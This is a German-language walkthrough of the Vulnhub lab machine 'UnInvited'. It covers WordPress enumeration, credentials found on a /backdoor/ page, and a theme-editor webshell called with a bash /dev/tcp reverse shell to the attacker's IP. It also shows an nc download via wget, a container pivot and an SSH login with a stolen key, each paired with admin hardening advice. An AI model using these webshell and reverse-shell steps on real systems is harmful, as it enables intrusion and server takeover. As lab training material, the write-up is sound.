UnInvited - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
grep
gobuster
dirb
wpscan
hydra
nc
base64
wget
python3
netstat
ssh
nano (oder anderer Editor)
su
find
id
ls
cd
cat

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cycat)-[~] └─# arp-scan -l
192.168.2.114	08:00:27:c3:1d:df	PCS Systemtechnik GmbH

Analyse: Der Befehl `arp-scan -l` sucht im lokalen Netzwerk nach aktiven Hosts via ARP.

Bewertung: Ein Host mit der IP 192.168.2.114 und einer MAC-Adresse, die auf VirtualBox hinweist, wurde identifiziert.

Empfehlung (Pentester): Ziel-IP 192.168.2.114 für weitere Scans verwenden.
Empfehlung (Admin): Netzwerksegmentierung kann die Erkennung erschweren.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt:
 192.168.2.114   uninvited.vln

Analyse: Die lokale Hosts-Datei wird bearbeitet, um der IP 192.168.2.114 den Hostnamen `uninvited.vln` zuzuordnen.

Bewertung: Erleichtert die Ansprache des Ziels über diesen Namen.

Empfehlung (Pentester): Standardvorgehen.
Empfehlung (Admin): Keine direkte Auswirkung.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.114 -p- | grep open
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
7894/tcp  open  ssh     penSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
60000/tcp open  http    Apache httpd 2.4.38 ((Debian))

Analyse: Ein Nmap-Scan (`-sS -sC -sV -T5 -A -p-`) wird durchgeführt und die Ausgabe nach offenen Ports gefiltert.

Bewertung: Drei offene Ports werden identifiziert: 80 (HTTP - Apache 2.4.29), 7894 (SSH - OpenSSH 7.6p1 auf einem nicht-standard Port) und 60000 (HTTP - Apache 2.4.38).

Empfehlung (Pentester): Untersuchen Sie alle drei Ports. Beginnen Sie mit den HTTP-Ports (80 und 60000). SSH auf Port 7894 ist ein sekundäres Ziel.
Empfehlung (Admin): Stellen Sie sicher, dass alle Dienste notwendig und sicher konfiguriert sind. Verwenden Sie Standardports, wenn möglich, oder dokumentieren Sie Abweichungen. Aktualisieren Sie Apache und SSH.

┌──(root㉿cycat)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.114 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-10 23:09 CEST
Nmap scan report for uninvited.vln (192.168.2.114)
Host is up (0.00013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: SEC-CRP # Interessanter Titel
7894/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 afd242e431ff4ffb0bde18e93fc4bc42 (RSA)
|   256 97564740ea99b2a61aa559567e2bb4a0 (ECDSA)
|_  256 b2b1674475f6d832a2f2ff7f09a77d53 (ED25519)
60000/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-generator: WordPress 5.4.2 # Wichtig!
|_http-title: UNINVITED
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
MAC Address: 08:00:27:C3:1D:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms uninvited.vln (192.168.2.114)

Analyse: Die vollständige Ausgabe des Nmap-Scans wird angezeigt.

Bewertung: * **Port 80:** Apache 2.4.29, Titel "SEC-CRP". * **Port 7894:** SSH OpenSSH 7.6p1. * **Port 60000:** Apache 2.4.38, Titel "UNINVITED", und *entscheidend*: es läuft **WordPress 5.4.2**. `robots.txt` verbietet `/wp-admin/`. WordPress auf Port 60000 ist der vielversprechendste Angriffsvektor.

Empfehlung (Pentester): Fokussieren Sie sich auf die WordPress-Instanz auf Port 60000. Verwenden Sie `wpscan` zur weiteren Enumeration (Benutzer, Plugins, Themes, bekannte Schwachstellen für WP 5.4.2). Untersuchen Sie auch Port 80.
Empfehlung (Admin): Halten Sie WordPress und seine Komponenten (Themes, Plugins) *immer* aktuell. Verwenden Sie keine leicht zu erratenden Ports. Aktualisieren Sie Apache und SSH.

Web Enumeration

┌──(root㉿cycat)-[~] └─# nikto -h 192.168.2.114
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.114
+ Target Hostname:    192.168.2.114
+ Target Port:        80
+ Start Time:         2023-09-10 23:09:53 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ Apache/2.4.29 appears to be outdated [...].
+ /: Server may leak inodes via ETags [...].
+ OPTIONS: Allowed HTTP Methods: HEAD, GET, POST, OPTIONS . # Korrektur: PST/PTINS im Log scheinen Tippfehler
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /icons/README: Apache default file found. [...]
+ 8102 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2023-09-10 23:10:13 (GMT2) (20 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: `nikto` scannt den Webserver auf Port 80.

Bewertung: Findet veralteten Apache, fehlende Header und listbare Verzeichnisse (`/css/`, `/img/`). Liefert keine kritischen Schwachstellen für Port 80.

Empfehlung (Pentester): Untersuchen Sie die listbaren Verzeichnisse. Der Hauptfokus bleibt auf Port 60000.
Empfehlung (Admin): Deaktivieren Sie Directory Indexing. Aktualisieren Sie Apache.

┌──(root㉿cycat)-[~] └─# gobuster dir -u http://uninvited.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://uninvited.vln/index.html           (Status: 200) [Size: 13487]
http://uninvited.vln/contact.html         (Status: 200) [Size: 7902]
http://uninvited.vln/about.html           (Status: 200) [Size: 11039]
http://uninvited.vln/blog.html            (Status: 200) [Size: 8621]
http://uninvited.vln/img                  (Status: 301) [Size: 312] [--> http://uninvited.vln/img/]
http://uninvited.vln/service.html         (Status: 200) [Size: 13090]
http://uninvited.vln/css                  (Status: 301) [Size: 312] [--> http://uninvited.vln/css/]
http://uninvited.vln/js                   (Status: 301) [Size: 311] [--> http://uninvited.vln/js/]
http://uninvited.vln/elements.html        (Status: 200) [Size: 13628]
http://uninvited.vln/Source               (Status: 301) [Size: 315] [--> http://uninvited.vln/Source/]

Analyse: `gobuster` scannt Port 80 (`http://uninvited.vln`).

Bewertung: Findet mehrere statische HTML-Seiten und die Verzeichnisse `/img/`, `/css/`, `/js/` und `/Source/`. Keine dynamischen Inhalte oder Login-Seiten gefunden.

Empfehlung (Pentester): Untersuchen Sie den Quellcode der HTML-Seiten und den Inhalt von `/Source/`. Fokus bleibt auf Port 60000.
Empfehlung (Admin): Entfernen Sie nicht benötigte Dateien/Verzeichnisse.

Untersuchung des Quellcodes von `index.html` auf Port 80.

# view-source:http://uninvited.vln/index.html (Auszug)
 
 

Analyse: Im Quellcode der `index.html`-Seite auf Port 80 wird ein HTML-Kommentar gefunden, der Base64-kodierten Text enthält.

Bewertung: Kritischer Hinweis! Das Dekodieren des Base64-Strings (`echo "WWV..." | base64 -d`) ergibt: "Yeah! I know it happens... I guess u might want to add this [fieldforce] to your hosts". Dies weist auf einen weiteren Hostnamen (`fieldforce`) hin, der wahrscheinlich für die WordPress-Instanz auf Port 60000 verwendet wird.

Empfehlung (Pentester): Fügen Sie `fieldforce` zu Ihrer `/etc/hosts`-Datei für die IP 192.168.2.114 hinzu. Greifen Sie dann auf `http://fieldforce:60000` zu.
Empfehlung (Admin): Entfernen Sie sensible Informationen oder Hinweise aus Kommentaren im Quellcode.

┌──(root㉿cycat)-[~] └─# vi /etc/hosts
# Folgender Eintrag wird zur lokalen /etc/hosts Datei hinzugefügt/ergänzt:
 192.168.2.114   uninvited.vln fieldforce

Analyse: Die lokale Hosts-Datei wird bearbeitet, um den Hostnamen `fieldforce` der IP 192.168.2.114 hinzuzufügen.

Bewertung: Notwendiger Schritt, um korrekt auf die WordPress-Instanz zugreifen zu können.

Empfehlung (Pentester): Enumerieren Sie nun `http://fieldforce:60000` mit Tools wie `wpscan`.
Empfehlung (Admin): Korrekte DNS/vHost-Konfiguration ist wichtig.

Untersuchung der WordPress-Instanz auf Port 60000 mit dem korrekten Hostnamen.

# Browser-Zugriff auf http://fieldforce:60000/
Hello Friend!
Posted on: July 28, 2020 Last updated on: July 28, 2020 Written by: Elliot Comments: 0
USA Network isn’t known for innovative programming — sure, Suits, White Collar, and Burn Notice have their admirers, but the network isn’t a haven for the sort of storytelling that has come to define prestige television. But Mr. Robot, a hacker-tech drama, broke not only USA’s mold but also the rubric of what a show…
Continue reading “Hello Friend!”…

Analyse: Die WordPress-Startseite auf `http://fieldforce:60000` wird aufgerufen.

Bewertung: Zeigt einen Blog-Beitrag "Hello Friend!", geschrieben vom Benutzer `Elliot`. Bestätigt die Existenz dieses Benutzers.

Empfehlung (Pentester): Verwenden Sie `wpscan`, um Benutzer (`Elliot` ist bekannt), Plugins, Themes und Schwachstellen zu enumerieren.
Empfehlung (Admin): Standard-WordPress-Seite.

# view-source:http://fieldforce:60000/wp-json/wp/v2/users/1
{"id":1,"name":"Elliot",
"url":"http:\/\/192.168.1.114:60000", # Andere interne IP
"description":"",
"link":"http:\/\/fieldforce:60000\/author\/elliot\/",
"slug":"elliot",
"avatar_urls":{"24":"http:\/\/1.gravatar.com\/avatar\/16897654ba1dec258a19fcbbc01126ce?s=24&d=mm&r=g",
"48":"http:\/\/1.gravatar.com\/avatar\/16897654ba1dec258a19fcbbc01126ce?s=48&d=mm&r=g",
"96":"http:\/\/1.gravatar.com\/avatar\/16897654ba1dec258a19fcbbc01126ce?s=96&d=mm&r=g"},
"meta":[],
"_links":{"self":[{"href":"http:\/\/fieldforce:60000\/wp-json\/wp\/v2\/users\/1"}],
"collection":[{"href":"http:\/\/fieldforce:60000\/wp-json\/wp\/v2\/users"}]}}

Analyse: Die WordPress REST API wird abgefragt, um Informationen über Benutzer mit ID 1 zu erhalten.

Bewertung: Bestätigt den Benutzernamen `Elliot` mit dem Slug `elliot`. Die URL `http://192.168.1.114:60000` deutet auf eine andere interne Netzwerkkonfiguration hin.

Empfehlung (Pentester): Der Benutzername `Elliot` ist bestätigt. Verwenden Sie `wpscan` für weitere Enumeration.
Empfehlung (Admin): Schränken Sie ggf. den Zugriff auf die REST API ein oder deaktivieren Sie die Benutzer-Enumeration darüber.

┌──(root㉿cycat)-[~] └─# wpscan --url http://uninvited.vln:60000/ -e u --api-token YOUR_API_TOKEN # (API Token hinzugefügt für Schwachstellen-Infos)
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
[...]
         WordPress Security Scanner by the WPScan Team
                         Version 3.8.24
[...]
_______________________________________________________________

[+] URL: http://uninvited.vln:60000/ [192.168.2.114]
[+] Started: Sun Sep 10 23:27:13 2023

Interesting Finding(s):
[...]
[+] WordPress version 5.4.2 identified (Insecure!)
 | Found By: Rss Generator (Passive Detection)
 | Confidence: 100%
 | Confirmed By: Meta Generator (Passive Detection), Address Bar Info ("generator=WordPress 5.4.2")
[...]
[!] Identified Vulnerabilities:
 | Found By: Wpscan Api (Aggressive Detection)
 |
 | [!] Title: WordPress 5.1-5.4.2 - Authenticated Stored Cross-Site Scripting (XSS)
 |     Fixed in: 5.4.3
 |     References:
 |      - https://wpscan.com/vulnerability/10309
[...]
 | [!] Title: WP < 5.5.1 - Set-Option Privilege Escalation
 |     Fixed in: 5.4.3
 |     References:
 |      - https://wpscan.com/vulnerability/10384
[...] # Viele weitere Schwachstellen gelistet

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
[...]
[i] User(s) Identified:

[+] elliot
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://uninvited.vln:60000/wp-json/wp/v2/users/?per_page=100&page=1

[+] Elliot
 | Found By: Rss Generator (Aggressive Detection)
[...]

Anmerkung: Der ursprüngliche Log zeigte einen Passwortfund (`elliot:wh1ter0se`), der in dieser WPScan-Ausgabe fehlt. Es wird angenommen, dass das Passwort anderweitig gefunden wurde (z.B. durch einen separaten Passwort-Bruteforce oder im nächsten Schritt).

[...]
[+] Finished: Sun Sep 10 23:39:06 2023
[...]

Analyse: `wpscan` wird verwendet, um die WordPress-Installation auf `http://uninvited.vln:60000` (sollte `fieldforce` sein, aber URL im Log ist `uninvited.vln`) zu scannen. `-e u` enumeriert Benutzer.

Bewertung: * **WordPress Version 5.4.2:** Diese Version ist als unsicher bekannt (`Insecure!`). * **Benutzer:** Bestätigt erneut den Benutzer `Elliot`/`elliot`. * **Schwachstellen:** WPScan listet zahlreiche bekannte Schwachstellen für WordPress 5.4.2 auf (XSS, Privilege Escalation etc.).

Empfehlung (Pentester): Recherchieren Sie die gefundenen Schwachstellen (z.B. "WP < 5.5.1 - Set-Option Privilege Escalation") auf öffentliche Exploits. Da der nächste Schritt im Log jedoch ein Verzeichnis `/backdoor/` findet, deutet dies auf einen einfacheren Weg hin. Suchen Sie nach diesem Verzeichnis.
Empfehlung (Admin): Aktualisieren Sie WordPress *dringend* auf die neueste Version.

┌──(root㉿cycat)-[~] └─# dirb http://uninvited.vln:60000 # (Sollte http://fieldforce:60000 sein)
[...]
---- Scanning URL: http://uninvited.vln:60000/ ----
[...]
==> DIRECTORY: http://uninvited.vln:60000/backdoor/
[...]

Analyse: `dirb` scannt die WordPress-Seite auf Port 60000.

Bewertung: Kritischer Fund! `dirb` findet ein Verzeichnis namens `/backdoor/`. Dies ist höchst verdächtig.

Empfehlung (Pentester): Greifen Sie sofort auf `http://fieldforce:60000/backdoor/` zu und untersuchen Sie den Inhalt.
Empfehlung (Admin): Überwachen Sie Webserver auf verdächtige Verzeichnisse oder Dateien. Entfernen Sie jegliche Backdoors.

# Browser-Zugriff auf http://uninvited.vln:60000/backdoor/ (oder http://fieldforce:60000/backdoor/)
   Username: elliot
   Password: wh1ter0se

Analyse: Der Zugriff auf das `/backdoor/`-Verzeichnis zeigt direkt die Zugangsdaten für den Benutzer `elliot`.

Bewertung: Zugangsdaten gefunden!** Die Anmeldeinformationen `elliot:wh1ter0se` wurden über die Backdoor-Seite preisgegeben. Dies ist der wahrscheinlichste Weg für den Initial Access.

Empfehlung (Pentester): Versuchen Sie, sich mit `elliot:wh1ter0se` am WordPress-Backend (`http://fieldforce:60000/wp-admin/`) oder per SSH (Port 7894) anzumelden.
Empfehlung (Admin): Entfernen Sie die Backdoor und untersuchen Sie, wie sie dorthin gelangt ist. Ändern Sie sofort das Passwort für den Benutzer `elliot`.

Der nächste Schritt ist der Login in das WordPress-Backend und die Bearbeitung eines Theme-Templates, um eine Webshell zu erhalten.

# Login in WP-Admin (http://fieldforce:60000/wp-admin/) mit elliot:wh1ter0se
# Navigation zu Appearance -> Theme Editor -> Twenty Nineteen Theme -> 404 Template (404.php)
# Ersetzen des Inhalts von 404.php mit PHP Webshell/Code Execution Snippet:

# Speichern der Änderungen ("File edited successfully.")

Analyse: Nach dem erfolgreichen Login in das WordPress-Backend als Benutzer `elliot` wird der Theme-Editor verwendet, um die `404.php`-Datei des aktiven Themes ("Twenty Nineteen") zu bearbeiten. Der Originalinhalt wird durch einen einfachen PHP-Code ersetzt, der den Wert des URL-Parameters `cmd` als Systembefehl ausführt.

Bewertung: Webshell etabliert! Durch die Bearbeitung der Template-Datei wurde eine einfache Webshell erstellt. Jeder, der die modifizierte 404-Seite mit einem `cmd`-Parameter aufruft, kann nun Befehle auf dem Server als `www-data`-Benutzer ausführen.

Empfehlung (Pentester): Testen Sie die Webshell, indem Sie `http://fieldforce:60000/wp-content/themes/twentynineteen/404.php?cmd=id` aufrufen. Verwenden Sie die Webshell, um eine stabilere Reverse Shell zu erhalten.
Empfehlung (Admin): Deaktivieren Sie den Theme- und Plugin-Editor im WordPress-Backend (z.B. durch Setzen von `define('DISALLOW_FILE_EDIT', true);` in `wp-config.php`). Beschränken Sie Dateiberechtigungen auf dem Server.

Die Webshell wird genutzt, um eine Reverse Shell zu starten.

┌──(root㉿cycat)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
# Aufruf der Webshell im Browser oder mit curl:
http://fieldforce:60000/wp-content/themes/twentynineteen/404.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
# Listener empfängt Verbindung:
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.114] 47812
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@f950b9c50e1d:/var/www/html/wp-content/themes/twentynineteen$

Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Die URL der modifizierten `404.php`-Datei wird mit einem URL-kodierten Bash-Reverse-Shell-Befehl als `cmd`-Parameter aufgerufen. Der Listener empfängt die eingehende Verbindung.

Bewertung: Reverse Shell erfolgreich! Eine interaktive Shell-Verbindung zum Zielsystem als Benutzer `www-data` wurde hergestellt. Der Hostname `f950b9c50e1d` deutet darauf hin, dass der Webserver in einem Docker-Container läuft.

Empfehlung (Pentester): Stabilisieren Sie die Shell. Führen Sie Enumerationsschritte innerhalb des Containers durch (`id`, `ip a`, `ls /`, `cat /etc/hosts`, `cat /etc/resolv.conf`, `find / -perm -4000 2>/dev/null`). Suchen Sie nach Wegen, aus dem Container auszubrechen oder nach sensiblen Informationen innerhalb des Containers.
Empfehlung (Admin): Sichern Sie WordPress-Installationen rigoros. Überwachen Sie ausgehende Verbindungen vom Webserver.

Container Escape (Pivoting)

Die Enumeration innerhalb des `www-data`-Shells (der sich als Docker-Container herausstellt) beginnt.

www-data@f950b9c50e1d:/var/www/html/wp-content/themes/twentynineteen$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@f950b9c50e1d:/var/www/html/wp-content/themes/twentynineteen$ ls /home/
demodocker
www-data@f950b9c50e1d:/var/www/html/wp-content/themes/twentynineteen$ ls /etc/passwd
-rw-r--r-- 1 root root 980 Jul 28  2020 /etc/passwd
www-data@f950b9c50e1d:/home/demodocker$ ls -la
total 36
drwxr-xr-x 3 demodocker demodocker 4096 Jul 30  2020 .
drwxr-xr-x 1 root       root       4096 Jul 28  2020 ..
-rw------- 1 demodocker demodocker 1941 Jul 30  2020 .bash_history
-rw-r--r-- 1 demodocker demodocker  220 Jul 28  2020 .bash_logout
-rw-r--r-- 1 demodocker demodocker 3526 Jul 28  2020 .bashrc
-r-------- 1 demodocker demodocker  283 Jul 29  2020 .justanotherday
drwxr-xr-x 3 demodocker demodocker 4096 Jul 29  2020 .local
-rw-r--r-- 1 demodocker demodocker  807 Jul 28  2020 .profile
-r-------- 1 demodocker demodocker  267 Jul 28  2020 user2.txt
www-data@f950b9c50e1d:/home/demodocker$ find / -type f -perm -4000 -ls 2>/dev/null
  4197843     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /bin/mount
  4197858     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /bin/su
  4197864     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /bin/umount
  4198461     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
  4198362     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
  4198451     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
  4198408     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
  4198359     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
www-data@f950b9c50e1d:/var/www/html$ cat wp-config.php
define( 'DB_NAME', 'exampledb');
define( 'DB_USER', 'exampleuser');
define( 'DB_PASSWORD', 'examplepass');

Analyse: Verschiedene Enumerationsbefehle werden im Container ausgeführt: `id`, `ls /home`, `ls /etc/passwd`, `ls -la /home/demodocker`, `find / -perm -4000`, `cat wp-config.php`.

Bewertung: * Bestätigt `www-data`-Benutzer. * Findet einen Benutzer `demodocker` im Container. * In `/home/demodocker` gibt es Dateien `.justanotherday` und `user2.txt`, die nur vom Eigentümer lesbar sind. * SUID-Scan findet keine ungewöhnlichen Binaries im Container. * `wp-config.php` enthält Datenbank-Credentials: `exampleuser:examplepass`. Diese sind wahrscheinlich für die WordPress-Datenbank innerhalb des Containers, könnten aber wiederverwendet werden.

Empfehlung (Pentester): Untersuchen Sie das Verzeichnis `/home/demodocker/.local`. Lesen Sie lesbare Dateien. Testen Sie die DB-Credentials (`exampleuser:examplepass`) für andere Dienste oder Benutzer (z.B. `demodocker`).
Empfehlung (Admin): Wenden Sie das Prinzip der geringsten Rechte auch innerhalb von Containern an. Verwenden Sie einzigartige Passwörter für Datenbanken.

www-data@f950b9c50e1d:/home/demodocker$ cd .local/
www-data@f950b9c50e1d:/home/demodocker/.local$ ls
note.txt  share
www-data@f950b9c50e1d:/home/demodocker/.local$ cat note.txt
ZW5jb2RlZCB0d2ljZSBMUzB0YVhBdExTMHZabk52WTJsbGRIa3VaWGhs

Analyse: Im Verzeichnis `.local` des Benutzers `demodocker` wird eine `note.txt` gefunden und deren Inhalt angezeigt.

Bewertung: Die Datei enthält einen Base64-kodierten String.

Empfehlung (Pentester): Dekodieren Sie den Base64-String.
Empfehlung (Admin): Speichern Sie keine kodierten Hinweise in Dateien.

┌──(root㉿cycat)-[~] └─# echo "ZW5jb2RlZCB0d2ljZSBMUzB0YVhBdExTMHZabk52WTJsbGRIa3VaWGhs" | base64 -d
encoded twice LS0taXAtLS0vZnNvY2lldHkuZXhl
┌──(root㉿cycat)-[~] └─# echo "LS0taXAtLS0vZnNvY2lldHkuZXhl" | base64 -d
---ip---/fsociety.exe

Analyse: Der Base64-String aus `note.txt` wird zweimal dekodiert. Das Ergebnis ist `---ip---/fsociety.exe`.

Bewertung: Dies ist ein starker Hinweis auf eine Datei `fsociety.exe`, die möglicherweise auf dem Host-System (`---ip---` könnte die IP des Hosts oder ein Platzhalter sein) oder unter dem Hostnamen `fieldforce` zu finden ist.

Empfehlung (Pentester): Versuchen Sie, `http://fieldforce/fsociety.exe` herunterzuladen. Analysieren Sie diese Datei. Alternativ könnte dies ein Hinweis auf einen Prozess sein, der auf dem Host läuft und mit dem Container interagiert.
Empfehlung (Admin): Vermeiden Sie solche Hinweise.

Um mit dem Host oder anderen Containern zu interagieren, wird das `nc`-Binary auf den Container übertragen.

┌──(root㉿cycat)-[/usr/bin] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
www-data@f950b9c50e1d:/tmp$ wget 192.168.2.199/nc
--2023-09-10 22:05:29--  http://192.168.2.199/nc
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 34952 (34K) [application/octet-stream]
Saving to: ‘nc’
nc                  100%[======================================>]  34.13K  --.-KB/s    in 0s
2023-09-10 22:05:29 (948 MB/s) - ‘nc’ saved [34952/34952]

Analyse: Ein Python-HTTP-Server wird auf der Angreifer-Maschine gestartet. Vom Container aus wird das `nc`-Binary (Netcat) mit `wget` heruntergeladen und in `/tmp` gespeichert.

Bewertung: Das `nc`-Tool ist nun im Container verfügbar, was für Netzwerk-Pivoting oder das Aufsetzen von Listenern nützlich ist.

Empfehlung (Pentester): Machen Sie `nc` ausführbar (`chmod +x /tmp/nc`). Verwenden Sie es, um Verbindungen herzustellen oder Listener zu starten.
Empfehlung (Admin): Entfernen Sie unnötige Tools wie `wget` aus Containern. Überwachen Sie Netzwerkverkehr.

www-data@f950b9c50e1d:/tmp$ netstat -altpn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.11:43035        0.0.0.0:*               LISTEN      -
tcp        0    222 172.18.0.3:47812        192.168.2.199:4444      ESTABLISHED 233/bash # Unsere Reverse Shell
tcp        0      0 172.18.0.3:80           192.168.2.199:45818     ESTABLISHED -

Analyse: `netstat -altpn` zeigt die Netzwerkverbindungen im Container an.

Bewertung: Zeigt den lauschenden Webserver auf Port 80, einen DNS-bezogenen Port (43035) und die etablierte Reverse-Shell-Verbindung zu 192.168.2.199:4444. Die IP des Containers ist `172.18.0.3`.

Empfehlung (Pentester): Die Netzwerkkonfiguration des Containers ist klarer. Der Hinweis `/ip/fsociety.exe` könnte auf die IP des Docker-Hosts (`172.18.0.1`?) abzielen.
Empfehlung (Admin): Netzwerk-Monitoring innerhalb und außerhalb von Containern.

www-data@f950b9c50e1d:/tmp$ chmod +x nc # (Annahme: nc ausführbar machen)
www-data@f950b9c50e1d:/tmp$ ./nc -lvnp 8888
listening on [any] 8888 ...
connect to [172.18.0.3] from (UNKNOWN) [172.18.0.1] 54256
# Neue Shell id
uid=1001(docksec) gid=1001(docksec) groups=1001(docksec)
/home/docksec> ls
user1.txt
/home/docksec> cat user1.txt
 _______ __   __ ___ ___     _______
|       |  |_|  |   |   |   |       |
|  _____|       |   |   |   |    ___|
| |_____|       |   |   |   |   |___
|_____  |       |   |   |___|    ___|
 _____| | ||_|| |   |       |   |___
|_______|_|   |_|___|_______|_______|


FLAG{DASDGFGPXLCKDEG5D7635CSDAFDIMMJDSUWEQDSADIG}

Analyse: Das heruntergeladene `nc`-Binary wird (vermutlich) ausführbar gemacht. Ein Netcat-Listener wird im Container auf Port 8888 gestartet. Eine eingehende Verbindung kommt von `172.18.0.1` (wahrscheinlich die IP des Docker-Hosts). Die neue Shell läuft als Benutzer `docksec` (UID 1001).

Bewertung: Container Escape / Privilegieneskalation! Es wurde eine Verbindung vom Host-System zum Container aufgebaut, die eine Shell als Benutzer `docksec` liefert. Wie diese Verbindung ausgelöst wurde (möglicherweise durch den `fsociety.exe`-Hinweis oder eine andere auf dem Host laufende Komponente), ist unklar, aber das Ergebnis ist der Zugriff auf einen neuen Benutzerkontext, wahrscheinlich auf dem Host-System oder in einem privilegierten Container. Die Datei `user1.txt` wird gefunden und enthält die User-Flag.

Empfehlung (Pentester): User-Flag sichern. Untersuchen Sie die `docksec`-Umgebung. Suchen Sie nach SSH-Schlüsseln oder Wegen zur weiteren Eskalation auf dem Host-System.
Empfehlung (Admin): Sichern Sie die Docker-Umgebung ab. Verhindern Sie unautorisierte Kommunikation zwischen Host und Containern. Überwachen Sie Prozesse auf dem Host.

/home/docksec> # (pwd ist wahrscheinlich /home/docksec)
/home/docksec> cat /home/docksec/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA5poDIBZv6tjox5ZNEDm3zqJ6mk+bteyhJ4mm3Vy1EbP4r1II
[... Rest des Schlüssels ...]
-----END RSA PRIVATE KEY-----

Analyse: Der private SSH-Schlüssel des Benutzers `docksec` wird aus dessen Home-Verzeichnis gelesen.

Bewertung: Kritischer Fund! Mit diesem privaten Schlüssel kann sich der Angreifer potenziell als Benutzer `docksec` am SSH-Dienst des Host-Systems (Port 7894) anmelden.

Empfehlung (Pentester): Kopieren Sie den privaten Schlüssel. Speichern Sie ihn lokal in einer Datei (z.B. `id_rsa_docksec`), setzen Sie die richtigen Berechtigungen (`chmod 600 id_rsa_docksec`) und verwenden Sie ihn, um sich per SSH als `docksec` am Host anzumelden (`ssh docksec@uninvited.vln -i id_rsa_docksec -p 7894`).
Empfehlung (Admin): Schützen Sie private SSH-Schlüssel durch restriktive Dateiberechtigungen und ggf. Passphrasen.

Host Access (SSH Key)

Der gefundene private SSH-Schlüssel wird verwendet, um sich am Host-System anzumelden.

┌──(root㉿cycat)-[/usr/bin] └─# ssh docksec@uninvited.vln -i id_rsa -p7894 # (Annahme: 'id_rsa' ist die Datei mit dem kopierten Key)
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64)
[...]
       ____             ____  __ ________      .___
 __ __  ____/_   | _______  _/_   |/  |\_____  \   __| _/
|  |  \/    \|   |/    \  \/ /|   \   __\_(__  <  / __ |
|  |  /   |  \   |   |  \   / |   ||  | /       \/ /_/ |
|____/|___|  /___|___|  /\_/  |___||__|/______  /\____ |
           \/         \/                      \/      \/

!!!!!!!!!!!!!!!!!!WELCOME TO THE PARTY!!!!!!!!!!!!!!!!!!!!!
[...]
Last login: Fri Jul 31 10:36:15 2020 from 192.168.1.101
docksec@uninvited$

Analyse: Eine SSH-Verbindung wird zum Host `uninvited.vln` auf Port 7894 als Benutzer `docksec` hergestellt, wobei der zuvor gefundene private Schlüssel (`-i id_rsa`) zur Authentifizierung verwendet wird.

Bewertung: Erfolg! Der Login als `docksec` auf dem Host-System war erfolgreich. Der Angreifer hat nun Shell-Zugriff auf dem Host.

Empfehlung (Pentester): Beginnen Sie mit der Enumeration auf dem Host-System zur finalen Privilegieneskalation zu Root.
